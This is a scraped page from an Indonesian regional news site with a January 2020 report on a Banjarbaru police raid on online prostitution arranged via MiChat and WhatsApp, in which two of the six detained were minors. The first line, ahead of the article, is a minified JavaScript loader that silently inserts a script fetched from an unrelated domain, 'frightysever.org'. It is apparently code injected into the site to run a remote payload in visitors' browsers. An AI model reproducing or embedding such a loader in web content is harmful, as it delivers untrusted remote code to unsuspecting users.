(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Dua Wanita Tersangka Prostitusi Online Masih di Bawah Umur, Tarifnya 300-600 Ribu per Kencan


KANALKALIMANTAN.COM, BANJARBARU – Setelah terbongkarnya praktek prostitusi online di salah satu hotel di Kecamatan Landasan Ulin, Banjarbaru, akhirnya terkuak bahwa para tersangka yang menjalani bisnis haram tersebut berasal dari luar daerah Kalimantan Selatan. Bahkan, mirisnya lagi ada dua orang yang masih di bawah umur.

Seperti yang diberitakan sebelumnya, Satuan Sabhara Polres Banjarbaru mengamankan 6 orang yang terjaring giat patroli pada Kamis (23/1/2020) malam, terdiri dari 4 orang wanita dan 2 orang laki-laki. Adapun inisial ke empat wanita muda tersebut RR, ST, DL, dan MY. Sedangkan, dua orang pria berinisal AB dan CD.

“Diantara 6 orang ini, yang paling tua berumur 22 tahun. Namun, yang sangat disayangkan ada dua orang yang ternyata masih di bawah umur,” kata Kapolres Banjarbaru AKBP Doni Hadi Santoso melalui Kasat Sabhara AKP Supri, Jum’at (24/1/2020).

Dari pengakuan ke empat wanita yang diamankan, kata AKP Supri, mereka melakoni praktek prostitusi online di kota Banjarbaru dengan dalih kehabisan uang setelah berlibur ke pantai di wilayah Kabupaten Tanah Laut. Modus operandi bisnis ini, dengan cara boking di aplikasi sosial media seperti Michat dan WhatsApp.

“Mereka bernegosiaasi dengan para pria yang mau berkencan, tarifnya antara Rp 300 ribu sampai Rp 600 ribu untuk sekali kencan,” pungkas Kasat Sabhara.

Baca juga: Bongkar Prostitusi Online di Landasan Ulin, Polisi Amankan 6 Orang

Usai diamankan, pihak Kepolisian juga telah melakukan pembinaan kepada para pelaku. Pekan depan pihaknya akan membawa keenam pelaku ini, untuk sidang Tipiring di Pengadilan Negeri Banjarbaru.

“Kami ingin memberikan efek jera kepada para pelaku,” tutupnya.

Patroli petugas pada malam hari itu, petugas juga mendapati hasil penggeledahan berupa alat kontrasepsi yang diduga untuk melakukan praktek ‘jual beli’ kenikmatan.  (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

9 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

11 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

12 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

12 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

16 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

16 jam ago

This website uses cookies.